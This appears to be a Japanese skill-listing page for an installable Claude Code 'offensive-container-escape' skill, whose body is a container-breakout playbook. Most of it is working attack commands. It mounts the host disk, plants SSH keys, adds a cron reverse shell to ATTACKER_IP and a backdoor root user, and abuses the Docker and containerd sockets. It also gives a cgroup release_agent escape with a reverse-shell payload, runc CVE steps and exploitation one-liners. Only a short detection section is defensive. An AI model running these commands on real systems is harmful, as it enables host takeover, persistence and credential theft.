mcpField
O
offensive-container-escape

offensive-container-escape

github.com/snailsploitセキュリティ9.7k130 回インストール2 週間前に更新
リポジトリ

offensive-container-escape について

コンテナ内の環境調査、分離設定の弱点、ランタイムの脆弱性を扱う、コンテナエスケープ評価ガイドです。ホストの名前空間、公開ソケット、Linuxケーパビリティ、cgroup、カーネルの問題と防御監視を解説します。

主な機能

  1. 01コンテナ環境と分離設定の確認
  2. 02特権モードとランタイムソケットの評価
  3. 03Linuxケーパビリティとcgroupの脱出手法
  4. 04ランタイムおよびカーネル脆弱性の解説
  5. 05コンテナ脱出の監視指標

活用シーン

  1. 01コンテナ設定の脱出リスク評価
  2. 02ホストランタイムソケットの公開確認
  3. 03過剰なLinuxケーパビリティの点検
  4. 04コンテナ脱出の検知ルール作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-container-escape

インストール後、Claude Code で/offensive-container-escapeを入力して読み込まれたか確認します。

詳細

コンテナーからの脱出とブレイクアウト

コンテナー内のシェルにアクセスできる状況です。目的は、基盤となるホスト OS へ脱出することです。コンテナーの分離は、Linux の名前空間、cgroup、seccomp プロファイル、AppArmor/SELinux、削除されたケーパビリティに依存しています。これらの層にある設定ミスはすべて、脱出の経路になります。このスキルでは、体系的な列挙、一般的な設定ミスの悪用、公開されたランタイムソケットの悪用、ケーパビリティを利用した脱出、cgroup からのブレイクアウト、コンテナーランタイムを標的とする既知の CVE について説明します。

クイックワークフロー

  1. コンテナー内にいることを確認します(.dockerenv、cgroup エントリー、PID 1 のプロセスを確認します)。
  2. 自動化ツールを使って、ケーパビリティ、マウント、名前空間、ソケットを列挙します。
  3. 脱出経路を特定します:特権モード、ソケットの公開、危険なケーパビリティ、cgroup の設定ミス、または脆弱なランタイムです。
  4. 経路に合ったブレイクアウト手法を実行します。
  5. /etc/hostname の読み取り、PID 名前空間の確認、またはホストファイルシステムへの書き込みによって、ホストへのアクセスを検証します。
  6. ホストへのアクセスを足掛かりに、クラスターやインフラストラクチャ内で横展開します。

フェーズ 1:コンテナーの検出と列挙

脱出を試みる前に、コンテナー内にいることを確認し、攻撃対象領域を把握します。

コンテナー環境の検出
# Check for Docker marker file
ls -la /.dockerenv

# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'

# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '

# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'

# Check hostname (often a truncated container ID)
hostname

# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
自動列挙ツール
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Zero-dependency container penetration toolkit
./cdk evaluate

# amicontained - Inspect container runtime and capabilities
./amicontained

# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
ケーパビリティを手動でデコードする
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff

# Decode with capsh
capsh --decode=0000003fffffffff

# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN  - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN  - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO  - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD      - create device files
名前空間の分離を確認する
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid

# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken

# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt

# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp

フェーズ 2:特権コンテナーからのブレイクアウト

--privileged を指定して起動したコンテナーでは、ほぼすべての分離が解除されます。すべてのケーパビリティを持ち、ホストデバイスを参照でき、seccomp や AppArmor による制限もありません。

ホストファイルシステムのマウント
# List available block devices
fdisk -l 2>/dev/null || lsblk

# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/

# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab

# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
nsenter によるホスト名前空間へのアクセス
# If PID 1 on the host is visible (privileged + hostPID), nsenter into it
# This gives you a shell in the host's full namespace context
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Verify you escaped
hostname
id
cat /etc/hostname

# Without hostPID, nsenter from mounted procfs
# Mount host /proc first if available
nsenter -t 1 -m -u -i -n -p -- bash
デバイスアクセスの悪用
# Privileged containers have access to all host devices
ls -la /dev/

# Read host memory directly
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head

# Access host disk raw
dd if=/dev/sda bs=512 count=1 | xxd | head

# Create device nodes if CAP_MKNOD is available
mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host

フェーズ 3:Docker ソケットの悪用

/var/run/docker.sock がコンテナー内にマウントされている場合、Docker デーモンを制御できます。ホストファイルシステムをマウントする特権コンテナーを作成することも可能です。

公開されたソケットの検出
# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check if socket is writable
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"

# Verify Docker API via curl
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

# Check without curl using socat or Python
python3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
Docker ソケット経由の脱出
# If Docker CLI is available
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
  --net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash

# If only curl is available, use Docker API directly
# Step 1: Create a container mounting host root
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/mnt/host"]
    }
  }' | python3 -m json.tool

# Capture container ID from response
CONTAINER_ID="<id_from_response>"

# Step 2: Start the container
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/start"

# Step 3: Read output
curl -s --unix-socket /var/run/docker.sock \
  "http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"

# For interactive shell, use exec endpoint
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
Containerd ソケットの悪用
# Check for containerd socket
ls -la /run/containerd/containerd.sock

# Use ctr if available
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list

# Spawn privileged container via containerd
ctr -a /run/containerd/containerd.sock run \
  --privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind \
  docker.io/library/alpine:latest escape /bin/sh

フェーズ 4:ケーパビリティを利用した脱出

完全な特権モードでなくても、個々の Linux ケーパビリティだけで脱出できる場合があります。

CAP_SYS_ADMIN による脱出
# CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
# Check if present
grep CapEff /proc/1/status
capsh --print | grep sys_admin

# Method 1: Mount host filesystem via block device
mount /dev/sda1 /mnt

# Method 2: cgroup release_agent escape (see Phase 5)
# Method 3: Abuse user namespace
unshare -Urm bash
CAP_SYS_PTRACE による脱出
# CAP_SYS_PTRACE allows tracing processes across namespaces
# Combined with hostPID, you can inject into host processes

# Find a host process (requires shared PID namespace)
ps aux | grep -v grep | head -20

# Inject shellcode into a host process using ptrace
# Python ptrace injection example
python3 -c "
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

# Target a host process PID
target_pid = 1  # systemd or init

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12

# Attach to target
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"

# Alternatively, use /proc/PID/root to access host filesystem via host PID
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
CAP_NET_ADMIN による脱出
# CAP_NET_ADMIN with host network namespace enables ARP spoofing,
# traffic interception, and network-based attacks against the host

# Check for capability
capsh --print | grep net_admin

# Create a network tap to sniff host traffic
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &

# ARP spoof the gateway to intercept traffic
# (requires host network namespace)
CAP_DAC_READ_SEARCH による脱出
# Bypass file permission checks for reading
# Access host filesystem through /proc/1/root if hostPID is shared

# Use open_by_handle_at to access files outside the container mount
# This is the shocker exploit technique
# Compile and run the shocker PoC:
cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

int main() {
    struct my_file_handle h;
    h.handle_bytes = 8;
    h.handle_type = 1;
    memset(h.f_handle, 0, sizeof(h.f_handle));
    // Brute force inode handles to access host /etc/shadow
    int mount_fd = open("/etc/hostname", O_RDONLY);
    // ... (PoC continues with handle iteration)
    return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c

フェーズ 5:cgroup からの脱出(notify_on_release)

cgroup v1 の notify_on_release メカニズムは、cgroup 内の最後のプロセスが終了したときに、ホスト上でバイナリを実行します。これは、CAP_SYS_ADMIN を持つコンテナーで使われる古典的なコンテナー脱出手法です。

従来型の cgroup release agent による脱出
# Requires: CAP_SYS_ADMIN and cgroup v1
# This runs a command on the HOST, not inside the container

# Step 1: Find the container's cgroup mount
mount | grep cgroup
# Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)

# Step 2: Create a child cgroup
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null || \
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
mkdir /tmp/cgrp/escape_cgroup

CGROUP_DIR="/tmp/cgrp"
ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"

# Step 3: Enable notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release

# Step 4: Find container filesystem path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "Host path: ${host_path}"

# Step 5: Set the release_agent to execute our payload
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent

# Step 6: Write payload that runs on the host
cat > /cmd << 'PAYLOAD'
#!/bin/bash
# This runs on the HOST
cat /etc/hostname > /output
id >> /output
ps aux >> /output
# Reverse shell to attacker
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
PAYLOAD
chmod +x /cmd

# Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
echo $$ > ${ESCAPE_DIR}/cgroup.procs
# The shell PID joins the cgroup, then when we create and exit a subshell:
bash -c "echo \$\$ > ${ESCAPE_DIR}/cgroup.procs && exit"

# Step 8: Check output
sleep 1
cat /output
cgroup 脱出の派生手法
# Variation: Using devices cgroup subsystem
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Variation: Memory cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
# Same pattern follows

# Note: cgroup v2 unified hierarchy does not support release_agent
# in the same way. Check cgroup version:
stat -fc %T /sys/fs/cgroup/
# "cgroup2fs" = v2, "tmpfs" = v1

フェーズ 6:ランタイムの CVE を悪用する

CVE-2019-5736:runc の上書き

この脆弱性を利用すると、コンテナーからホストの runc バイナリを上書きでき、以降にコンテナーが起動されるたびにホスト上でコードを実行できます。

# Check runc version
runc --version 2>/dev/null
docker version 2>/dev/null | grep -A5 Server

# Vulnerable: runc < 1.0.0-rc6
# The attack overwrites /proc/self/exe (the runc binary) from inside the container

# Step 1: Prepare the payload binary that replaces runc
cat > /tmp/payload.sh << 'EXPLOIT'
#!/bin/bash
# This replaces the host runc binary
# When admin next runs docker exec or docker run, our payload executes
echo '#!/bin/bash' > /bin/bash_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
chmod +x /bin/bash_backup
EXPLOIT

# Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
# The actual exploit requires a compiled Go binary that:
# 1. Opens /proc/self/exe for writing (which points to runc during exec)
# 2. Writes attacker payload to it
# 3. runc on host is now the attacker's binary

# PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
# Compile the PoC, copy into container, and trigger via docker exec
CVE-2024-21626:Leaky Vessels(runc)

runc のファイル記述子漏えいにより、コンテナーから、ホストの作業ディレクトリを指す漏えいした /proc/self/fd エントリーを参照して、ホストファイルシステムにアクセスできます。

# Vulnerable: runc <= 1.1.11
# The vulnerability is in the WORKDIR processing during container build/run

# Check runc version
runc --version

# Exploitation concept:
# 1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
# 2. The leaked file descriptor points to the host filesystem
# 3. Building or running the image gives host filesystem access

# Malicious Dockerfile example (build-time exploitation):
cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
FROM ubuntu:latest
# The leaked fd points to host CWD during build
WORKDIR /proc/self/fd/8
# This RUN now operates on the host filesystem
RUN cat /etc/shadow > /tmp/shadow_dump || true
DOCKERFILE

# Runtime exploitation:
# Container started with WORKDIR pointing to leaked fd
# can read/write host files through the fd reference

# Detection: Check for /proc/self/fd references in WORKDIR directives
grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
CVE-2020-15257:Containerd のホストネットワーク
# Containerd < 1.4.3, < 1.3.9
# Containers sharing host network namespace can access containerd-shim API

# Check if container uses host network
cat /proc/1/ns/net | xargs readlink
ip addr | grep docker0  # Seeing host interfaces indicates host network

# Access containerd-shim abstract unix socket
# from host network namespace container
curl --unix-socket /run/containerd/containerd.sock \
  http://localhost/v1/namespaces

フェーズ 7:コンテナーからのカーネルエクスプロイト

ほかの脱出経路が利用できない場合、コンテナーはホストカーネルを共有しているため、カーネルの脆弱性がホストへのアクセス手段となることがあります。

カーネルバージョンの特定
uname -a
uname -r
cat /proc/version

# Check for known vulnerable kernels
# DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
# DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
# OverlayFS: CVE-2021-3493 (Ubuntu kernels)
# nftables: CVE-2023-32233 (kernel < 6.4)
コンテナーからの DirtyPipe(CVE-2022-0847)
# Overwrites read-only files via pipe page cache poisoning
# Works from inside containers because it targets the shared kernel

# Check kernel version
uname -r
# Vulnerable: 5.8 through 5.16.10

# The exploit overwrites /etc/passwd on the HOST from the container
# because the page cache is shared between host and container

# Compile exploit (if gcc available in container)
# PoC modifies root entry in /etc/passwd to remove password
Seccomp と AppArmor の確認
# Check if seccomp is restricting syscalls
cat /proc/1/status | grep Seccomp
# Seccomp: 0 = disabled, 1 = strict, 2 = filter

# Check AppArmor profile
cat /proc/1/attr/current
# "unconfined" means no AppArmor restriction

# Check if kernel module loading is possible
# (no seccomp + CAP_SYS_MODULE)
modprobe test 2>&1
insmod /tmp/evil.ko 2>&1

検知/ディフェンダー向け情報

コンテナーエスケープを監視するディフェンダーは、以下に注意してください。

  • プロセスの監視:ホストの PID 名前空間を認識できる、予期しないプロセス。通常のパターンから外れたコンテナーランタイムによるプロセスの起動(runc、containerd-shim によるシェルの作成)。
  • ファイルシステムイベント:コンテナー内でのマウント操作(コンテナーの PID からの mount システムコール)。ホストの /root/.ssh/authorized_keys、/etc/crontab、/etc/passwd に新しいファイルが出現すること。
  • cgroup の操作:notify_on_release が 1 に設定された新しい cgroup の作成。release_agent ファイルへの書き込み。
  • Docker ソケットへのアクセス:コンテナー内から Docker ソケットへの API 呼び出し。--privileged またはホストのマウントバインドを含むコンテナー作成リクエスト。
  • ケイパビリティの異常:アプリケーションに不要な CAP_SYS_ADMIN、CAP_SYS_PTRACE、その他の危険なケイパビリティで実行されているコンテナー。
  • 監査ルール:コンテナーのコンテキストからの nsenter の使用、unshare の呼び出し、/proc/*/ns/* へのアクセスを監視します。
  • Falco ルール:予期しないシェルの起動、機密ファイルへのアクセス、コンテナー内での権限昇格を検知するルールを使って、ランタイムセキュリティを導入します。
# Falco rule example for detecting container escape attempts
# - rule: Detect Container Escape via cgroup notify_on_release
#   desc: Detects write to notify_on_release in cgroup directory
#   condition: >
#     open_write and container and
#     fd.name contains "notify_on_release"
#   output: >
#     Container escape attempt via cgroup release_agent
#     (user=%user.name container=%container.name file=%fd.name)
#   priority: CRITICAL

エンゲージメント用チートシート

# --- Detection ---
# Am I in a container?
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"

# What capabilities do I have?
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap

# Is Docker socket available?
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null

# Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test

# Cgroup version?
stat -fc %T /sys/fs/cgroup/

# --- Exploitation (one-liners) ---
# Privileged mount escape
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow

# nsenter escape (with hostPID)
nsenter -t 1 -m -u -i -n -p -- bash

# Docker socket escape
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h

# Cgroup escape (CAP_SYS_ADMIN)
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null|head -n1)); mkdir -p $d/w; \
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab); \
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c; \
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o

# --- Post-Escape ---
# Validate host access
hostname; id; cat /etc/os-release; docker ps 2>/dev/null

主な参考資料

コメント